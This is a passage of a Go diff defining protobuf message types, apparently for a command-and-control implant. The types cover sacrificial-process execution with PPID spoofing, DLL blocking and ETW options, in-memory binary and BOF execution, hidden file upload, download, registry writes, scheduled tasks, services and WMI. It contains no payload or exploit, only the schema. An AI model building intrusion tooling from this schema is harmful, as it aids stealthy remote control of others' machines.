json:"etw,omitempty"` + Ppid uint32 `protobuf:"varint,4,opt,name=ppid,proto3" json:"ppid,omitempty"` + Argue string `protobuf:"bytes,5,opt,name=argue,proto3" json:"argue,omitempty"` +} + +func (x *SacrificeProcess) Reset() { + *x = SacrificeProcess{} +} + +func (*SacrificeProcess) ProtoMessage() {} + +func (x *SacrificeProcess) GetHidden() bool { + if x != nil { + return x.Hidden + } + return false +} + +func (x *SacrificeProcess) GetBlockDll() bool { + if x != nil { + return x.BlockDll + } + return false +} + +func (x *SacrificeProcess) GetEtw() bool { + if x != nil { + return x.Etw + } + return false +} + +func (x *SacrificeProcess) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +func (x *SacrificeProcess) GetArgue() string { + if x != nil { + return x.Argue + } + return "" +} + +type LsResponse struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"` + Exists bool `protobuf:"varint,2,opt,name=Exists,proto3" json:"Exists,omitempty"` + Files []*FileInfo `protobuf:"bytes,3,rep,name=Files,proto3" json:"Files,omitempty"` +} + +func (x *LsResponse) Reset() { + *x = LsResponse{} +} + +func (*LsResponse) ProtoMessage() {} + +func (x *LsResponse) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *LsResponse) GetExists() bool { + if x != nil { + return x.Exists + } + return false +} + +func (x *LsResponse) GetFiles() []*FileInfo { + if x != nil { + return x.Files + } + return nil +} + +type DriveInfo struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` // "C:\\" + DriveType string `protobuf:"bytes,2,opt,name=drive_type,json=driveType,proto3" json:"driveType,omitempty"` // "Fixed drive" + TotalSize uint64 `protobuf:"varint,3,opt,name=total_size,json=totalSize,proto3" json:"totalSize,omitempty"` // + FreeSize uint64 `protobuf:"varint,4,opt,name=free_size,json=freeSize,proto3" json:"freeSize,omitempty"` // + FileSystem string `protobuf:"bytes,5,opt,name=file_system,json=fileSystem,proto3" json:"fileSystem,omitempty"` // "NTFS" +} + +func (x *DriveInfo) Reset() { + *x = DriveInfo{} +} + +func (*DriveInfo) ProtoMessage() {} + +func (x *DriveInfo) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *DriveInfo) GetDriveType() string { + if x != nil { + return x.DriveType + } + return "" +} + +func (x *DriveInfo) GetTotalSize() uint64 { + if x != nil { + return x.TotalSize + } + return 0 +} + +func (x *DriveInfo) GetFreeSize() uint64 { + if x != nil { + return x.FreeSize + } + return 0 +} + +func (x *DriveInfo) GetFileSystem() string { + if x != nil { + return x.FileSystem + } + return "" +} + +type EnumDriversResponse struct { + unknownFields []byte + Drives []*DriveInfo `protobuf:"bytes,1,rep,name=drives,proto3" json:"drives,omitempty"` +} + +func (x *EnumDriversResponse) Reset() { + *x = EnumDriversResponse{} +} + +func (*EnumDriversResponse) ProtoMessage() {} + +func (x *EnumDriversResponse) GetDrives() []*DriveInfo { + if x != nil { + return x.Drives + } + return nil +} + +type PsResponse struct { + unknownFields []byte + Processes []*Process `protobuf:"bytes,1,rep,name=processes,proto3" json:"processes,omitempty"` +} + +func (x *PsResponse) Reset() { + *x = PsResponse{} +} + +func (*PsResponse) ProtoMessage() {} + +func (x *PsResponse) GetProcesses() []*Process { + if x != nil { + return x.Processes + } + return nil +} + +type ExecRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Args []string `protobuf:"bytes,2,rep,name=args,proto3" json:"args,omitempty"` + Output bool `protobuf:"varint,3,opt,name=output,proto3" json:"output,omitempty"` + Singleton bool `protobuf:"varint,4,opt,name=singleton,proto3" json:"singleton,omitempty"` + Realtime bool `protobuf:"varint,5,opt,name=realtime,proto3" json:"realtime,omitempty"` + Ppid uint32 `protobuf:"varint,10,opt,name=ppid,proto3" json:"ppid,omitempty"` +} + +func (x *ExecRequest) Reset() { + *x = ExecRequest{} +} + +func (*ExecRequest) ProtoMessage() {} + +func (x *ExecRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ExecRequest) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ExecRequest) GetOutput() bool { + if x != nil { + return x.Output + } + return false +} + +func (x *ExecRequest) GetSingleton() bool { + if x != nil { + return x.Singleton + } + return false +} + +func (x *ExecRequest) GetRealtime() bool { + if x != nil { + return x.Realtime + } + return false +} + +func (x *ExecRequest) GetPpid() uint32 { + if x != nil { + return x.Ppid + } + return 0 +} + +type ExecResponse struct { + unknownFields []byte + StatusCode int32 `protobuf:"varint,1,opt,name=status_code,json=statusCode,proto3" json:"statusCode,omitempty"` + Stdout []byte `protobuf:"bytes,2,opt,name=stdout,proto3" json:"stdout,omitempty"` + Stderr []byte `protobuf:"bytes,3,opt,name=stderr,proto3" json:"stderr,omitempty"` + Pid uint32 `protobuf:"varint,4,opt,name=pid,proto3" json:"pid,omitempty"` + End bool `protobuf:"varint,5,opt,name=end,proto3" json:"end,omitempty"` +} + +func (x *ExecResponse) Reset() { + *x = ExecResponse{} +} + +func (*ExecResponse) ProtoMessage() {} + +func (x *ExecResponse) GetStatusCode() int32 { + if x != nil { + return x.StatusCode + } + return 0 +} + +func (x *ExecResponse) GetStdout() []byte { + if x != nil { + return x.Stdout + } + return nil +} + +func (x *ExecResponse) GetStderr() []byte { + if x != nil { + return x.Stderr + } + return nil +} + +func (x *ExecResponse) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +func (x *ExecResponse) GetEnd() bool { + if x != nil { + return x.End + } + return false +} + +type BinaryResponse struct { + unknownFields []byte + Data []byte `protobuf:"bytes,1,opt,name=data,proto3" json:"data,omitempty"` // common return, bof BeaconOutput + Message []byte `protobuf:"bytes,2,opt,name=message,proto3" json:"message,omitempty"` // bof BeaconPrintf + Err string `protobuf:"bytes,4,opt,name=err,proto3" json:"err,omitempty"` + Status int32 `protobuf:"varint,3,opt,name=status,proto3" json:"status,omitempty"` +} + +func (x *BinaryResponse) Reset() { + *x = BinaryResponse{} +} + +func (*BinaryResponse) ProtoMessage() {} + +func (x *BinaryResponse) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *BinaryResponse) GetMessage() []byte { + if x != nil { + return x.Message + } + return nil +} + +func (x *BinaryResponse) GetErr() string { + if x != nil { + return x.Err + } + return "" +} + +func (x *BinaryResponse) GetStatus() int32 { + if x != nil { + return x.Status + } + return 0 +} + +type Modules struct { + unknownFields []byte + Modules []string `protobuf:"bytes,1,rep,name=modules,proto3" json:"modules,omitempty"` +} + +func (x *Modules) Reset() { + *x = Modules{} +} + +func (*Modules) ProtoMessage() {} + +func (x *Modules) GetModules() []string { + if x != nil { + return x.Modules + } + return nil +} + +type Addons struct { + unknownFields []byte + Addons []*Addon `protobuf:"bytes,1,rep,name=addons,proto3" json:"addons,omitempty"` +} + +func (x *Addons) Reset() { + *x = Addons{} +} + +func (*Addons) ProtoMessage() {} + +func (x *Addons) GetAddons() []*Addon { + if x != nil { + return x.Addons + } + return nil +} + +type Addon struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + Depend string `protobuf:"bytes,3,opt,name=depend,proto3" json:"depend,omitempty"` +} + +func (x *Addon) Reset() { + *x = Addon{} +} + +func (*Addon) ProtoMessage() {} + +func (x *Addon) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Addon) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *Addon) GetDepend() string { + if x != nil { + return x.Depend + } + return "" +} + +type LoadModule struct { + unknownFields []byte + Bundle string `protobuf:"bytes,1,opt,name=bundle,proto3" json:"bundle,omitempty"` + Bin []byte `protobuf:"bytes,2,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *LoadModule) Reset() { + *x = LoadModule{} +} + +func (*LoadModule) ProtoMessage() {} + +func (x *LoadModule) GetBundle() string { + if x != nil { + return x.Bundle + } + return "" +} + +func (x *LoadModule) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type LoadAddon struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Type string `protobuf:"bytes,2,opt,name=type,proto3" json:"type,omitempty"` + Depend string `protobuf:"bytes,3,opt,name=depend,proto3" json:"depend,omitempty"` + Bin []byte `protobuf:"bytes,4,opt,name=bin,proto3" json:"bin,omitempty"` +} + +func (x *LoadAddon) Reset() { + *x = LoadAddon{} +} + +func (*LoadAddon) ProtoMessage() {} + +func (x *LoadAddon) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *LoadAddon) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *LoadAddon) GetDepend() string { + if x != nil { + return x.Depend + } + return "" +} + +func (x *LoadAddon) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +type ExecuteAddon struct { + unknownFields []byte + Addon string `protobuf:"bytes,1,opt,name=addon,proto3" json:"addon,omitempty"` + ExecuteBinary *ExecuteBinary `protobuf:"bytes,2,opt,name=execute_binary,json=executeBinary,proto3" json:"executeBinary,omitempty"` +} + +func (x *ExecuteAddon) Reset() { + *x = ExecuteAddon{} +} + +func (*ExecuteAddon) ProtoMessage() {} + +func (x *ExecuteAddon) GetAddon() string { + if x != nil { + return x.Addon + } + return "" +} + +func (x *ExecuteAddon) GetExecuteBinary() *ExecuteBinary { + if x != nil { + return x.ExecuteBinary + } + return nil +} + +type ExecuteBinary struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Bin []byte `protobuf:"bytes,2,opt,name=bin,proto3" json:"bin,omitempty"` + Param map[string]string `protobuf:"bytes,3,rep,name=param,proto3" json:"param,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Type string `protobuf:"bytes,4,opt,name=type,proto3" json:"type,omitempty"` + ProcessName string `protobuf:"bytes,5,opt,name=process_name,json=processName,proto3" json:"processName,omitempty"` + Args []string `protobuf:"bytes,6,rep,name=args,proto3" json:"args,omitempty"` + EntryPoint string `protobuf:"bytes,7,opt,name=entry_point,json=entryPoint,proto3" json:"entryPoint,omitempty"` + Data []byte `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"` + Output bool `protobuf:"varint,9,opt,name=output,proto3" json:"output,omitempty"` + Arch uint32 `protobuf:"varint,10,opt,name=arch,proto3" json:"arch,omitempty"` + Timeout uint32 `protobuf:"varint,11,opt,name=timeout,proto3" json:"timeout,omitempty"` + Sacrifice *SacrificeProcess `protobuf:"bytes,12,opt,name=sacrifice,proto3" json:"sacrifice,omitempty"` + Path string `protobuf:"bytes,13,opt,name=path,proto3" json:"path,omitempty"` + Context string `protobuf:"bytes,14,opt,name=context,proto3" json:"context,omitempty"` + Delay uint32 `protobuf:"varint,15,opt,name=delay,proto3" json:"delay,omitempty"` //millisecond +} + +func (x *ExecuteBinary) Reset() { + *x = ExecuteBinary{} +} + +func (*ExecuteBinary) ProtoMessage() {} + +func (x *ExecuteBinary) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ExecuteBinary) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *ExecuteBinary) GetParam() map[string]string { + if x != nil { + return x.Param + } + return nil +} + +func (x *ExecuteBinary) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *ExecuteBinary) GetProcessName() string { + if x != nil { + return x.ProcessName + } + return "" +} + +func (x *ExecuteBinary) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ExecuteBinary) GetEntryPoint() string { + if x != nil { + return x.EntryPoint + } + return "" +} + +func (x *ExecuteBinary) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *ExecuteBinary) GetOutput() bool { + if x != nil { + return x.Output + } + return false +} + +func (x *ExecuteBinary) GetArch() uint32 { + if x != nil { + return x.Arch + } + return 0 +} + +func (x *ExecuteBinary) GetTimeout() uint32 { + if x != nil { + return x.Timeout + } + return 0 +} + +func (x *ExecuteBinary) GetSacrifice() *SacrificeProcess { + if x != nil { + return x.Sacrifice + } + return nil +} + +func (x *ExecuteBinary) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ExecuteBinary) GetContext() string { + if x != nil { + return x.Context + } + return "" +} + +func (x *ExecuteBinary) GetDelay() uint32 { + if x != nil { + return x.Delay + } + return 0 +} + +type ExecuteCommand struct { + unknownFields []byte + Command string `protobuf:"bytes,1,opt,name=command,proto3" json:"command,omitempty"` + Sacrifice *SacrificeProcess `protobuf:"bytes,2,opt,name=sacrifice,proto3" json:"sacrifice,omitempty"` +} + +func (x *ExecuteCommand) Reset() { + *x = ExecuteCommand{} +} + +func (*ExecuteCommand) ProtoMessage() {} + +func (x *ExecuteCommand) GetCommand() string { + if x != nil { + return x.Command + } + return "" +} + +func (x *ExecuteCommand) GetSacrifice() *SacrificeProcess { + if x != nil { + return x.Sacrifice + } + return nil +} + +type UploadRequest struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Target string `protobuf:"bytes,2,opt,name=target,proto3" json:"target,omitempty"` + Priv uint32 `protobuf:"varint,3,opt,name=priv,proto3" json:"priv,omitempty"` + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` + Hidden bool `protobuf:"varint,5,opt,name=hidden,proto3" json:"hidden,omitempty"` + Override bool `protobuf:"varint,6,opt,name=override,proto3" json:"override,omitempty"` +} + +func (x *UploadRequest) Reset() { + *x = UploadRequest{} +} + +func (*UploadRequest) ProtoMessage() {} + +func (x *UploadRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *UploadRequest) GetTarget() string { + if x != nil { + return x.Target + } + return "" +} + +func (x *UploadRequest) GetPriv() uint32 { + if x != nil { + return x.Priv + } + return 0 +} + +func (x *UploadRequest) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *UploadRequest) GetHidden() bool { + if x != nil { + return x.Hidden + } + return false +} + +func (x *UploadRequest) GetOverride() bool { + if x != nil { + return x.Override + } + return false +} + +type DownloadRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + BufferSize uint32 `protobuf:"varint,3,opt,name=buffer_size,json=bufferSize,proto3" json:"bufferSize,omitempty"` + Dir bool `protobuf:"varint,4,opt,name=dir,proto3" json:"dir,omitempty"` + Cur int32 `protobuf:"varint,5,opt,name=cur,proto3" json:"cur,omitempty"` +} + +func (x *DownloadRequest) Reset() { + *x = DownloadRequest{} +} + +func (*DownloadRequest) ProtoMessage() {} + +func (x *DownloadRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *DownloadRequest) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *DownloadRequest) GetBufferSize() uint32 { + if x != nil { + return x.BufferSize + } + return 0 +} + +func (x *DownloadRequest) GetDir() bool { + if x != nil { + return x.Dir + } + return false +} + +func (x *DownloadRequest) GetCur() int32 { + if x != nil { + return x.Cur + } + return 0 +} + +type DownloadResponse struct { + unknownFields []byte + Checksum string `protobuf:"bytes,1,opt,name=checksum,proto3" json:"checksum,omitempty"` + Size uint64 `protobuf:"varint,2,opt,name=size,proto3" json:"size,omitempty"` + Cur int32 `protobuf:"varint,3,opt,name=cur,proto3" json:"cur,omitempty"` + Content []byte `protobuf:"bytes,4,opt,name=content,proto3" json:"content,omitempty"` +} + +func (x *DownloadResponse) Reset() { + *x = DownloadResponse{} +} + +func (*DownloadResponse) ProtoMessage() {} + +func (x *DownloadResponse) GetChecksum() string { + if x != nil { + return x.Checksum + } + return "" +} + +func (x *DownloadResponse) GetSize() uint64 { + if x != nil { + return x.Size + } + return 0 +} + +func (x *DownloadResponse) GetCur() int32 { + if x != nil { + return x.Cur + } + return 0 +} + +func (x *DownloadResponse) GetContent() []byte { + if x != nil { + return x.Content + } + return nil +} + +type CurlRequest struct { + unknownFields []byte + Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"` + Timeout int32 `protobuf:"varint,2,opt,name=timeout,proto3" json:"timeout,omitempty"` + Method string `protobuf:"bytes,3,opt,name=method,proto3" json:"method,omitempty"` + Body []byte `protobuf:"bytes,4,opt,name=body,proto3" json:"body,omitempty"` + Header map[string]string `protobuf:"bytes,5,rep,name=header,proto3" json:"header,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Hostname string `protobuf:"bytes,6,opt,name=hostname,proto3" json:"hostname,omitempty"` +} + +func (x *CurlRequest) Reset() { + *x = CurlRequest{} +} + +func (*CurlRequest) ProtoMessage() {} + +func (x *CurlRequest) GetUrl() string { + if x != nil { + return x.Url + } + return "" +} + +func (x *CurlRequest) GetTimeout() int32 { + if x != nil { + return x.Timeout + } + return 0 +} + +func (x *CurlRequest) GetMethod() string { + if x != nil { + return x.Method + } + return "" +} + +func (x *CurlRequest) GetBody() []byte { + if x != nil { + return x.Body + } + return nil +} + +func (x *CurlRequest) GetHeader() map[string]string { + if x != nil { + return x.Header + } + return nil +} + +func (x *CurlRequest) GetHostname() string { + if x != nil { + return x.Hostname + } + return "" +} + +type ChownRequest struct { + unknownFields []byte + Path string `protobuf:"bytes,1,opt,name=path,proto3" json:"path,omitempty"` + Uid string `protobuf:"bytes,2,opt,name=uid,proto3" json:"uid,omitempty"` + Gid string `protobuf:"bytes,3,opt,name=gid,proto3" json:"gid,omitempty"` + Recursive bool `protobuf:"varint,4,opt,name=recursive,proto3" json:"recursive,omitempty"` +} + +func (x *ChownRequest) Reset() { + *x = ChownRequest{} +} + +func (*ChownRequest) ProtoMessage() {} + +func (x *ChownRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *ChownRequest) GetUid() string { + if x != nil { + return x.Uid + } + return "" +} + +func (x *ChownRequest) GetGid() string { + if x != nil { + return x.Gid + } + return "" +} + +func (x *ChownRequest) GetRecursive() bool { + if x != nil { + return x.Recursive + } + return false +} + +type IfconfigResponse struct { + unknownFields []byte + NetInterfaces []*NetInterface `protobuf:"bytes,1,rep,name=net_interfaces,json=netInterfaces,proto3" json:"netInterfaces,omitempty"` +} + +func (x *IfconfigResponse) Reset() { + *x = IfconfigResponse{} +} + +func (*IfconfigResponse) ProtoMessage() {} + +func (x *IfconfigResponse) GetNetInterfaces() []*NetInterface { + if x != nil { + return x.NetInterfaces + } + return nil +} + +// wrap for client +type RegistryRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Registry *Registry `protobuf:"bytes,2,opt,name=registry,proto3" json:"registry,omitempty"` +} + +func (x *RegistryRequest) Reset() { + *x = RegistryRequest{} +} + +func (*RegistryRequest) ProtoMessage() {} + +func (x *RegistryRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *RegistryRequest) GetRegistry() *Registry { + if x != nil { + return x.Registry + } + return nil +} + +type Registry struct { + unknownFields []byte + Hive string `protobuf:"bytes,1,opt,name=hive,proto3" json:"hive,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + Key string `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"` +} + +func (x *Registry) Reset() { + *x = Registry{} +} + +func (*Registry) ProtoMessage() {} + +func (x *Registry) GetHive() string { + if x != nil { + return x.Hive + } + return "" +} + +func (x *Registry) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *Registry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +type RegistryWriteRequest struct { + unknownFields []byte + Hive string `protobuf:"bytes,1,opt,name=hive,proto3" json:"hive,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + Key string `protobuf:"bytes,3,opt,name=key,proto3" json:"key,omitempty"` + StringValue string `protobuf:"bytes,5,opt,name=string_value,json=stringValue,proto3" json:"stringValue,omitempty"` + ByteValue []byte `protobuf:"bytes,6,opt,name=byte_value,json=byteValue,proto3" json:"byteValue,omitempty"` + DwordValue uint32 `protobuf:"varint,7,opt,name=dword_value,json=dwordValue,proto3" json:"dwordValue,omitempty"` + QwordValue uint64 `protobuf:"varint,8,opt,name=qword_value,json=qwordValue,proto3" json:"qwordValue,omitempty"` + Regtype uint32 `protobuf:"varint,10,opt,name=regtype,proto3" json:"regtype,omitempty"` +} + +func (x *RegistryWriteRequest) Reset() { + *x = RegistryWriteRequest{} +} + +func (*RegistryWriteRequest) ProtoMessage() {} + +func (x *RegistryWriteRequest) GetHive() string { + if x != nil { + return x.Hive + } + return "" +} + +func (x *RegistryWriteRequest) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *RegistryWriteRequest) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *RegistryWriteRequest) GetStringValue() string { + if x != nil { + return x.StringValue + } + return "" +} + +func (x *RegistryWriteRequest) GetByteValue() []byte { + if x != nil { + return x.ByteValue + } + return nil +} + +func (x *RegistryWriteRequest) GetDwordValue() uint32 { + if x != nil { + return x.DwordValue + } + return 0 +} + +func (x *RegistryWriteRequest) GetQwordValue() uint64 { + if x != nil { + return x.QwordValue + } + return 0 +} + +func (x *RegistryWriteRequest) GetRegtype() uint32 { + if x != nil { + return x.Regtype + } + return 0 +} + +type TaskScheduleRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Taskschd *TaskSchedule `protobuf:"bytes,2,opt,name=taskschd,proto3" json:"taskschd,omitempty"` +} + +func (x *TaskScheduleRequest) Reset() { + *x = TaskScheduleRequest{} +} + +func (*TaskScheduleRequest) ProtoMessage() {} + +func (x *TaskScheduleRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *TaskScheduleRequest) GetTaskschd() *TaskSchedule { + if x != nil { + return x.Taskschd + } + return nil +} + +type TaskSchedule struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Path string `protobuf:"bytes,2,opt,name=path,proto3" json:"path,omitempty"` + ExecutablePath string `protobuf:"bytes,3,opt,name=executable_path,json=executablePath,proto3" json:"executablePath,omitempty"` + TriggerType uint32 `protobuf:"varint,4,opt,name=trigger_type,json=triggerType,proto3" json:"triggerType,omitempty"` + StartBoundary string `protobuf:"bytes,5,opt,name=start_boundary,json=startBoundary,proto3" json:"startBoundary,omitempty"` + Description string `protobuf:"bytes,6,opt,name=description,proto3" json:"description,omitempty"` + Enabled bool `protobuf:"varint,7,opt,name=enabled,proto3" json:"enabled,omitempty"` + LastRunTime string `protobuf:"bytes,8,opt,name=last_run_time,json=lastRunTime,proto3" json:"lastRunTime,omitempty"` + NextRunTime string `protobuf:"bytes,9,opt,name=next_run_time,json=nextRunTime,proto3" json:"nextRunTime,omitempty"` +} + +func (x *TaskSchedule) Reset() { + *x = TaskSchedule{} +} + +func (*TaskSchedule) ProtoMessage() {} + +func (x *TaskSchedule) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *TaskSchedule) GetPath() string { + if x != nil { + return x.Path + } + return "" +} + +func (x *TaskSchedule) GetExecutablePath() string { + if x != nil { + return x.ExecutablePath + } + return "" +} + +func (x *TaskSchedule) GetTriggerType() uint32 { + if x != nil { + return x.TriggerType + } + return 0 +} + +func (x *TaskSchedule) GetStartBoundary() string { + if x != nil { + return x.StartBoundary + } + return "" +} + +func (x *TaskSchedule) GetDescription() string { + if x != nil { + return x.Description + } + return "" +} + +func (x *TaskSchedule) GetEnabled() bool { + if x != nil { + return x.Enabled + } + return false +} + +func (x *TaskSchedule) GetLastRunTime() string { + if x != nil { + return x.LastRunTime + } + return "" +} + +func (x *TaskSchedule) GetNextRunTime() string { + if x != nil { + return x.NextRunTime + } + return "" +} + +type TaskSchedulesResponse struct { + unknownFields []byte + Schedules []*TaskSchedule `protobuf:"bytes,1,rep,name=schedules,proto3" json:"schedules,omitempty"` +} + +func (x *TaskSchedulesResponse) Reset() { + *x = TaskSchedulesResponse{} +} + +func (*TaskSchedulesResponse) ProtoMessage() {} + +func (x *TaskSchedulesResponse) GetSchedules() []*TaskSchedule { + if x != nil { + return x.Schedules + } + return nil +} + +// wrap for client +type ServiceRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Service *ServiceConfig `protobuf:"bytes,2,opt,name=service,proto3" json:"service,omitempty"` +} + +func (x *ServiceRequest) Reset() { + *x = ServiceRequest{} +} + +func (*ServiceRequest) ProtoMessage() {} + +func (x *ServiceRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *ServiceRequest) GetService() *ServiceConfig { + if x != nil { + return x.Service + } + return nil +} + +type ServiceConfig struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + DisplayName string `protobuf:"bytes,2,opt,name=display_name,json=displayName,proto3" json:"displayName,omitempty"` + ExecutablePath string `protobuf:"bytes,3,opt,name=executable_path,json=executablePath,proto3" json:"executablePath,omitempty"` + StartType uint32 `protobuf:"varint,4,opt,name=start_type,json=startType,proto3" json:"startType,omitempty"` + ErrorControl uint32 `protobuf:"varint,5,opt,name=error_control,json=errorControl,proto3" json:"errorControl,omitempty"` + AccountName string `protobuf:"bytes,6,opt,name=account_name,json=accountName,proto3" json:"accountName,omitempty"` +} + +func (x *ServiceConfig) Reset() { + *x = ServiceConfig{} +} + +func (*ServiceConfig) ProtoMessage() {} + +func (x *ServiceConfig) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *ServiceConfig) GetDisplayName() string { + if x != nil { + return x.DisplayName + } + return "" +} + +func (x *ServiceConfig) GetExecutablePath() string { + if x != nil { + return x.ExecutablePath + } + return "" +} + +func (x *ServiceConfig) GetStartType() uint32 { + if x != nil { + return x.StartType + } + return 0 +} + +func (x *ServiceConfig) GetErrorControl() uint32 { + if x != nil { + return x.ErrorControl + } + return 0 +} + +func (x *ServiceConfig) GetAccountName() string { + if x != nil { + return x.AccountName + } + return "" +} + +type ServiceStatus struct { + unknownFields []byte + CurrentState uint32 `protobuf:"varint,1,opt,name=current_state,json=currentState,proto3" json:"currentState,omitempty"` + ProcessId uint32 `protobuf:"varint,2,opt,name=process_id,json=processId,proto3" json:"processId,omitempty"` + ExitCode uint32 `protobuf:"varint,3,opt,name=exit_code,json=exitCode,proto3" json:"exitCode,omitempty"` + Checkpoint uint32 `protobuf:"varint,4,opt,name=checkpoint,proto3" json:"checkpoint,omitempty"` + WaitHint uint32 `protobuf:"varint,5,opt,name=wait_hint,json=waitHint,proto3" json:"waitHint,omitempty"` +} + +func (x *ServiceStatus) Reset() { + *x = ServiceStatus{} +} + +func (*ServiceStatus) ProtoMessage() {} + +func (x *ServiceStatus) GetCurrentState() uint32 { + if x != nil { + return x.CurrentState + } + return 0 +} + +func (x *ServiceStatus) GetProcessId() uint32 { + if x != nil { + return x.ProcessId + } + return 0 +} + +func (x *ServiceStatus) GetExitCode() uint32 { + if x != nil { + return x.ExitCode + } + return 0 +} + +func (x *ServiceStatus) GetCheckpoint() uint32 { + if x != nil { + return x.Checkpoint + } + return 0 +} + +func (x *ServiceStatus) GetWaitHint() uint32 { + if x != nil { + return x.WaitHint + } + return 0 +} + +type Service struct { + unknownFields []byte + Config *ServiceConfig `protobuf:"bytes,1,opt,name=config,proto3" json:"config,omitempty"` + Status *ServiceStatus `protobuf:"bytes,2,opt,name=status,proto3" json:"status,omitempty"` +} + +func (x *Service) Reset() { + *x = Service{} +} + +func (*Service) ProtoMessage() {} + +func (x *Service) GetConfig() *ServiceConfig { + if x != nil { + return x.Config + } + return nil +} + +func (x *Service) GetStatus() *ServiceStatus { + if x != nil { + return x.Status + } + return nil +} + +type ServicesResponse struct { + unknownFields []byte + Services []*Service `protobuf:"bytes,1,rep,name=services,proto3" json:"services,omitempty"` +} + +func (x *ServicesResponse) Reset() { + *x = ServicesResponse{} +} + +func (*ServicesResponse) ProtoMessage() {} + +func (x *ServicesResponse) GetServices() []*Service { + if x != nil { + return x.Services + } + return nil +} + +type WmiQueryRequest struct { + unknownFields []byte + Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` + Args []string `protobuf:"bytes,2,rep,name=args,proto3" json:"args,omitempty"` +} + +func (x *WmiQueryRequest) Reset() { + *x = WmiQueryRequest{} +} + +func (*WmiQueryRequest) ProtoMessage() {} + +func (x *WmiQueryRequest) GetNamespace() string { + if x != nil { + return x.Namespace + } + return "" +} + +func (x *WmiQueryRequest) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +type WmiMethodRequest struct { + unknownFields []byte + Namespace string `protobuf:"bytes,1,opt,name=namespace,proto3" json:"namespace,omitempty"` + ClassName string `protobuf:"bytes,2,opt,name=class_name,json=className,proto3" json:"className,omitempty"` + MethodName string `protobuf:"bytes,3,opt,name=method_name,json=methodName,proto3" json:"methodName,omitempty"` + Params map[string]string `protobuf:"bytes,4,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *WmiMethodRequest) Reset() { + *x = WmiMethodRequest{} +} + +func (*WmiMethodRequest) ProtoMessage() {} + +func (x *WmiMethodRequest) GetNamespace() string { + if x != nil { + return x.Namespace + } + return "" +} + +func (x *WmiMethodRequest) GetClassName() string { + if x != nil { + return x.ClassName + } + return "" +} + +func (x 